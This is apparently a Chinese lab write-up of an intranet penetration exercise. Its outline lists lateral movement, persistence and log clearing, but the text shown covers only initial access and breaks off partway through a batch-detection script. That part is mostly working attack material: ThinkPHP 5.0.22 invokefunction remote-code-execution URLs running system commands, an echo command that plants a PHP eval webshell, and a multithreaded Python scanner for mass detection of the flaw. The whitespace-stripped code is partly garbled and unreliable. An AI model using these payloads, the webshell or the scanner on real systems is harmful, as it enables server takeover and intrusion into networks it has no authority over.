实战步骤知识点
前言环境搭建web服务器渗透nmap探测端口thinkphpgetshellthinkphp批量检测内网信息搜集内网渗透上线msf信息搜集获取凭证思路内网横向移动MS17-尝试psexec尝试ipc连接关闭域控防火墙psexec尝试*2登录远程桌面权限维持DSRM后门日志清除
1前言
在内网渗透的过程中思路才是最重要的,本次内网渗透的主机虽然不多,主要还是锻炼自己内网渗透的一个思想。2环境搭建
靶场:win7(内):...
win7(外):..10.25
域内主机:
win:...
3web服务器渗透
nmap探测端口nmap-T4-sC-sV..10.25
这里可以看到几个主要的端口,例如80、、、,这里首先就可以想到可以利用的点有ipc、smb
开了80端口,尝试访问web地址,老笑脸人了,而且还是5.x版本,洞还是比较多
为了确定具体版本,这里先使用报错查看,发现这里的版本为5.0.22,如果没记错的话这里是有一个tp远程命令执行漏洞的漏洞描述:由于thinkphp对框架中的核心Requests类的method方法提供了表单请求伪造,该功能利用$_POST[_method]来传递真实的请求方法。但由于框架没有对参数进行验证,导致攻击者可以设置$_POST[_method]=__construct而让该类的变量被覆盖。攻击者利用该方式将filter变量覆盖为system等函数名,当内部进行参数过滤时便会进行执行任意命令。
thinkphpgetshell这里我首先在kali里面找一下有没有相关的漏洞searchsploitthinkphp可以看到这里有一个5.x远程执行漏洞,这里直接进入这个文件夹查看一下txt列出来的payload
cd/usr/share/exploitdb/exploits/php/webappscat.txt找到对应版本后fuzz以下payload,这个是列出数据库名字,这里看到数据库名为root
..10.25/thinkphp/public/?s=.
think\config/getname=database.username这个payload应该是列出数据库密码,但是这里没有打出来
..10.25/thinkphp/public/?s=.
think\config/getname=database.password
这里打出phpinfo
..10.25/?s=index/\think\app/invokefunctionfunction=call_user_func_arrayvars[0]=phpinfovars[1][]=1传参看一下当前权限为administrator
..10.25/?s=index/\think\app/invokefunctionfunction=call_user_func_arrayvars[0]=systemvars[1][]=whoami看一下ip情况,双网卡,那么大概率有域环境
..10.25/?s=index/\think\app/invokefunctionfunction=call_user_func_arrayvars[0]=systemvars[1][]=ipconfig看一下进程,发现无杀软那么尝试不用免杀直接写webshell
..10.25/?s=index/\think\app/invokefunctionfunction=call_user_func_arrayvars[0]=systemvars[1][]=tasklist/svc
这里直接尝试echo写一个一句话木马进去,这里因为之前查看过没有杀软跟安全狗,这里就不需要做免杀处理
..10.25/?s=index/\think\app/invokefunctionfunction=call_user_func_arrayvars[0]=systemvars[1][]=echo"?php
eval($_POST[cmd]);?"connect.php这里用dir验证一下是否写入成功..10.25/?s=index/\think\app/invokefunctionfunction=call_user_func_arrayvars[0]=systemvars[1][]=dir
使用蚁剑连接成功
thinkphp批量检测这里我思考了一个问题,thinkphp的版本这么多,如果kali里面的漏洞库没有,而在搜索引擎上去搜索又太耗费时间,有没有一个批量检测thinkphp漏洞的脚本呢?
这里我找到了一个thinkphp漏洞批量检测的脚本
#!/usr/bin/envpython#-*-coding:utf-8-*-#name:thinkphp远程代码检测#description:ThinkPHP55.0.22/5.1.29远程代码执行漏洞importreimportsysimportrequestsimportqueueimportthreadingfrombs4importBeautifulSoupclassthinkphp_rce(threading.Thread):def__init__(self,q):threading.Thread.__init__(self)self.q=qdefrun(self):whilenotself.q.empty():url=self.q.get()headers={"User-Agent":"Mozilla/5.0(Macintosh;U;IntelMacOSX10_6_8;en-us)AppleWebKit/.50(KHTML,likeGecko)Version/5.1Safari/.50"}payload=r"/?s=index/\think\app/invokefunctionfunction=call_user_func_arrayvars[0]=phpinfovars[1][]=1"vulnurl=url+payloadtry:response=requests.get(vulnurl,headers=headers,timeout=3,verify=False,allow_redirects=False)soup=BeautifulSoup(response.text,"lxml")ifPHPVersioninstr(soup.text):print([+]Remotecodeexecutionvulnerabilityexistsatthetargetaddress)print([+]Vulnerabilityurladdress+vulnurl)withopen(target.txt,a)asf1:f1.write(vulnurl+\n)f1.close()else:print([-]Thereisnoremotecodeexecutionvulnerabilityinthetargetaddress)except:print([!]Destinationaddresscannotbeconnected)defurlget():withopen(url.txt,r)asf:urls=f.readlines()fortmpinurls:if//intmp:url=tmp.strip(\n)urlList.append(url)else:url=